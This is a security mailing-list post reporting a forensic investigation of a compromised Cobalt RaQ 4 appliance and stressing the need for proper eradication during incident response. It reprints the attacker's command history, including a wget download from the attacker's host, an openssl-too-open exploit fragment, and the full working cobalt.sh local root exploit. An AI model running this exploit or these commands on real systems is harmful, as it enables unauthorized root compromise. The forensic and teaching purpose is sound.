[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[cobalt-security] Results of Forensics Examination of Compromised RaQ 4

Recently my vulnerability assessment team was asked to assist in determining the root cause of a compromise of a customer's RaQ 4 that was alleged to be totally patched. Upon investigation, a summary of which appears below, it was determined the appliance had actually been compromised prior to being properly patched and had not been thoroughly eradicated after detection of the compromise thus negating any subsequent patching effort.

I would like to share the results of this effort as they provide an excellent learning vehicle. The key point to come away from concerning this effort is that adherence to a proper incident response methodology is critical to successful recovery from these types of events. However, failure to effectively/adequately perform any step in that process, in this case inadequate eradication, will most certainly result in a failed recovery effort, no matter how well written the incident response plan is.

_____________________________________________________________________________________________________________________________________________________

Forensic evidence indicates that the break in occurred between January 15 at 03:02 and 11:04 server local time.  This is evidenced by the httpd error log entries below and the file time stamps on the files located in /var/tmp on the compromised host.  The initial entry in the /var/log/httpd/error log file is most likely a scanner programed to locate vulnerable machines.

[Wed Jan 15 03:02:37 2003] [error] mod_ssl: SSL handshake failed (server www.xxxxxxx.net:443, client xxx.xxx.xx.xx) (OpenSSL library error follows)
[Wed Jan 15 03:02:37 2003] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different


Listing of files in /var/tmp: (Note the User ID 15 -- httpd - of the cobalt.sh file.)

-rw-rw-rw-    1 root     root        40960 Jan 13 17:53 1
-rwxr-xr-x    1 1001     1001         2164 Jan 13 17:39 auto1.sh
-rwxr-xr-x    1 1001     1001         2377 Jan 13 17:45 auto.sh
-rwxr-xr-x    1 1001     1001        13698 Jan 13 13:10 clear
-rw-r--r--    1 15       root         2915 Jan  8 14:42 cobalt.sh
-rw-r--r--    1 root     root          610 Jan 15 19:14 diagnostic.dump
-rw-rw-rw-    1 root     root          151 Jan 15 05:04 dns
-rw-rw-rw-    1 root     root          170 Jan 15 05:04 id
-rw-rw-rw-    1 root     root         1256 Jan 15 05:04 index.html
-rw-rw-rw-    1 root     root          216 Jan 15 05:04 uname
-rwxr-xr-x    1 1001     1001        13760 Jan 13 13:11 ver

Examination of root's .bash_history file reveals that the following command sequence was issued after the compromise on or about January 15 at 11:04:00

id
wget xxx.xxx.xx.xx/1
mv 1 /tmp
cd tmp
ls -l
tar xf 1
./ver
sh auto.sh
./ver
./clear


The above command sequence revealed that xxx.xxx.xx.xx is the attacker's IP address.  This is confirmed by the /var/log/httpd/error entries stated above.  Further investigation reveals that a portion of the /var/log/httpd/adm_error log was eliminated, thereby obscuring entries form Jan 15 at about 03:00 hours to 11:00 hours.  Suspect log entries are below:

[Wed Jan 15 03:00:00 2003] [error] OpenSSL: error:1407609C:SSL routines:SSL23_GET_CLIENT_HELLO:http request [Hint: speaking HTTP to HTTPS port!?]
[Wed Jan 15 16:04:04 2003] [error] mod_ssl: Cannot open SSLSessionCache DBM file `/var/log/httpd/adm_ssl_scache' for writing (store) (System error follows)


Following the examination of the log files, the investigator issued a standard find command to locate files that had been modified within the past 8 days (since the 15th at 03:00 hours).  (Command used: "find / -atime +8 -print")  This revealed that several patches were installed after the compromise had occurred.  It also revealed that no eradication had been done on the hackers tools (located in /tmp).  

Accordingly, evidence indicates that no eradication was done, and patches were installed after the compromise had occurred.  This significantly hampered further evidence collection efforts by the investigator.  However we are able to determine that the likely method of entry was through the apach/mod_ssl/openssl application combination.  Without further evidence, specifically an exploit, this investigation can not conclusively identify the method of entry.

It should be noted that the entries in the /var/log/httpd/error log file do match a published exploits (openssl-too-open) pattern of execution.  The log entries indicate that the openssl connection ID has been altered from the beginning of the ssl session.  This could be accomplished through the following source code in the openssl-too-open exploit:

          /* overwrite the connection id with random bytes, causing the
           server to abort the connection */
        for (i = 0; i < ssl->conn_id_length; i++) {
                ssl->conn_id[i] = (unsigned char) (rand() >> 24);
        }
        send_client_finished(ssl);

Investigation concludes that while absolute determination of method of entry is not possible, evidence does point to an openssl exploit as the method of entry.  Attempted use of the said exploit against laboratory RaQ 4 hosts was unsuccessful in duplicating results (i.e. a compromised host).

It should also be noted that since the patches were applied to the RaQ 4 in question after the compromise occurred, it is possible that another, older, exploit could have been the method of entry.  However, no evidence to support this has been found.

Once the attacker had compromised the host a standard exploit (for which a patch exists) was used to elevate privilege from the httpd user ID (as is evidenced by the ownership of the "cobalt.sh" file in /var/tmp) to the root user ID.  The "cobalt.sh" file is included below.

#!/bin/sh
#
# Cobalt Linux 6.0 Local Root Exploit
#
# Effects: <= apache-1.3.20-RaQ4_1C3 (AFAIK all Cobalt Linux Apache ;)
# Quick Fix: su - root -c "chmod 755 /usr/lib/authenticate"
#
# Problem Source Code:
# fd = open("gmon.out", O_WRONLY|O_CREAT|O_TRUNC, 0666);
#
# Suggested Code:
# fd = mkstemp("/tmp/gmon.out-XXXXXX");
#
# Still need help Cobalt developers? Ok:
# man 3 tmpfile; man 2 open; echo "Thanks core"
#
# by Charles Stevenson <core@xxxxxxxxxx>
#
# Fri Jun 28 03:35:53 MDT 2002
# - initial version
# Sun Jul 7 20:12:41 MDT 2002
# - added some features for robustness

echo "RaQFuCK.sh by core"

target="/usr/lib/authenticate"
tempdir="/tmp"

if [ -u /.sushi ] ; then
    exec /.sushi
fi

printf "Checking for $target..."
if [ -f "$target" ] ; then
    echo "done."
else
    echo "NO!"
    exit 1
fi

printf "Checking if $target is setuid root..."
if [ -u "$target" ] ; then
    echo "done."
else
    echo "NO! Hrm... does this admin have a clue???"
    exit 1
fi

if [ ! -d "$tempdir/core" ]; then
    printf "Creating $tempdir/core..."
    if ! mkdir "$tempdir/core" 2>/dev/null ; then
echo "FAILED!" ; exit 1
    fi
    echo "done."
fi

printf "Changing directory to $tempdir/core..."
if ! cd "$tempdir/core" 2>/dev/null ; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Creating cron.d symlink..."
if ! ln -fs /etc/cron.d/core gmon.out 2>/dev/null; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Changing umask..."
if ! umask 000 ; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Compiling root shell..."
cat >sushi.c <<EOF
#include <unistd.h>
int main (int argc, char **argv, char **envp) {
    setuid(0);
    setgid(0);
    execve("/bin/sh",argv,envp);
    return -1;
}
EOF
if ! cc sushi.c -o sushi 2>/dev/null; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Compiling cron takeover..."
cat >takeover.c <<EOF
#include <stdlib.h>
main() { system("cp $tempdir/core/sushi /.sushi ; chmod 6777 /.sushi"); }
EOF
if ! cc takeover.c -o own 2>/dev/null; then
    echo "FAILED!" ; exit 1
fi
echo "done."

printf "Performing symlink attack..."
printf "\n\n\n\n" | "$target"
if [ -u /etc/cron.d/core ] ; then
    echo "SYMLINK ATTACK FAILED!" && exit 1
else
    echo "done."
fi

printf "Setting up evil cron job..."
cat >croncore <<EOF
*/1 * * * * root if [ -x "$tempdir/core/own" ] ; then "$tempdir/core/own"; fi
EOF
if ! cat croncore 2>/dev/null >/etc/cron.d/core; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Waiting for root shell"
while [ ! -u /.sushi ] ; do
    sleep 1 ; printf "."
done
echo "done."

cd /

printf "Cleaning up real quick..."
if ! /.sushi -c "rm -rf $tempdir/core /etc/cron.d/core"; then
    echo "FAILED??? Fuck it!"
else
    echo "done."
fi

echo "Spawning root shell!!! God Damn! I say GOD DAMN!!"
if ! exec /.sushi -i; then
    echo "Exec Failed!!! BUMMER!" ; exit 1
fi



Please contact the investigator, Mark Carey, with any further questions.  His e-mail is mark.carey@xxxxxxx.

_______________________________________________________________________________________________________________________________________________________


Cheers,

Charles